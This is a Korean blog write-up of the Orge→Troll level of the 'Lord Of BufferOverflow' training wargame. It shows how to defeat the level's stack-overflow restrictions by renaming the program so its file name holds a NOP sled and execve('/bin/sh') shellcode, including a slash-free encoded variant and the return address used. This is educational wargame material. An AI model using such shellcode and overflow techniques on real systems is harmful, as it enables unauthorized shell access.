Troll을 잡으러 갑시다. 중간고사 때문에 며칠동안 글을 못올렸어요 ㅠㅜ
제약 조건이
1. 인자가 2개(제목, 인자1)이어야 함.
-argv[2]에 값을 넣어서 할 수 없게 되었습니다.
2. egghunter
-환경변수를 사용할 수 없습니다.
3. argv[1][47]에서 값이 \xbf여야 합니다.
-저 부분에는 주소값만 들어가야 합니다.
4. argv[1]의 길이가 48이 넘으면 안됩니다.
-따라서 ret주소 이후에 무언가를 할 수 없습니다.
5. buffer hunter
-버퍼를 이용할 수 없습니다.
6. argv[1]
-argv[1] 인자또한 이용할 수 없습니다.
정말 빡빡해진거 같네요.
하지만 할 수 있습니다. 제목을 사용하면 될 것 같거든요.
제목도 사용할 수는 있을 것 같았지만 잘 와닿지는 않아서 더 쉬운 방법만 했었는데 이번에 할 수 있을 것 같습니다.
일단 제목도 어딘가에 저장이 될테니 어디에 저장되는지 확인해봅시다.
대충 조건에 맞게 넣고 실행한 뒤 $esp 이후에 어떤 내용이 있는지 확인해 본 결과,
예상대로 밑부분에 파일 주소와 이름이 있었습니다.
이제 ret의 주소를 저기로 바꾸면 되지 않을까 생각합니다만... 안될거같아보이기도 합니다...
저기에 \x90을 한 100번 정도 넣은 뒤 0xbffffc76부근으로 이동하게 하면 어떻게든 될거같기도 하네요.
한번 해보겠습니다.
우선 제목을 바꿔주도록 하죠.
`python -c "print'\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' +'\x90' *50 "`
이렇게 입력해줬는데 자꾸 No such file or firectory라고만 뜹니다. 왜이럴까요?
이건 쉘 코드에 /(slash) 가 포함되었기 때문이라고 합니다. /를 기준으로 좌우가 다른 폴더로 인식하기 때문에 파일 명을 바꿀 수 없다고 합니다. (0x2f가 '/'를 의미합니다.)
이를 해결하기 위해서는 다른 쉘 코드를 이용해야 할 것 같습니다.
\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6
슬래시 없는 이 쉘코드를 사용하도록 하겠습니다.
바꿔줬더니 이렇게 뜨네요. 참고로 저 파일은 cp를 통해 만든 파일로 따라서 권한은 orge에 있습니다. 저 파일로 되는지 확인하고 troll이름 바꿔서 진행하겠습니다.
이렇게 제목이 나오게 되는데 위에서 봤던거랑 주소값이 달라졌네요.. 다시 정해야겠습니다.
이렇게 위치를 알 수 있었습니다.
0xbffffb34 이 주소를 사용해서 문제를 해결하도록 할게요.
bash2를 입력하고 위와같이 하니까 orge의 bash를 열 수 있었습니다. 위의 주소를 사용했었지만 '\x90'의 개수가 부족해서인지 잘 안돼서 주소를 약간 바꿔주니까 성공했습니다.
이름을 바꾸고 다시 진행해줬습니다.
다음 password를 바로 구할 수 있었네요.
이렇게! troll도 잡아보았습니다.
'Hacking-기초 > [PWN] LOB' 카테고리의 다른 글
Lord Of BufferOverflow (10) Vampire→Skeleton (0) | 2020.05.22 |
---|---|
Lord Of BufferOverflow (9) Troll→Vampire (0) | 2020.05.21 |
Lord Of BufferOverflow (7) Darkelf→Orge (0) | 2020.04.21 |
Lord Of BufferOverflow (6) Wolfman→Darkelf (0) | 2020.04.21 |
Lord Of BufferOverflow (5) Orc→Wolfman (0) | 2020.04.16 |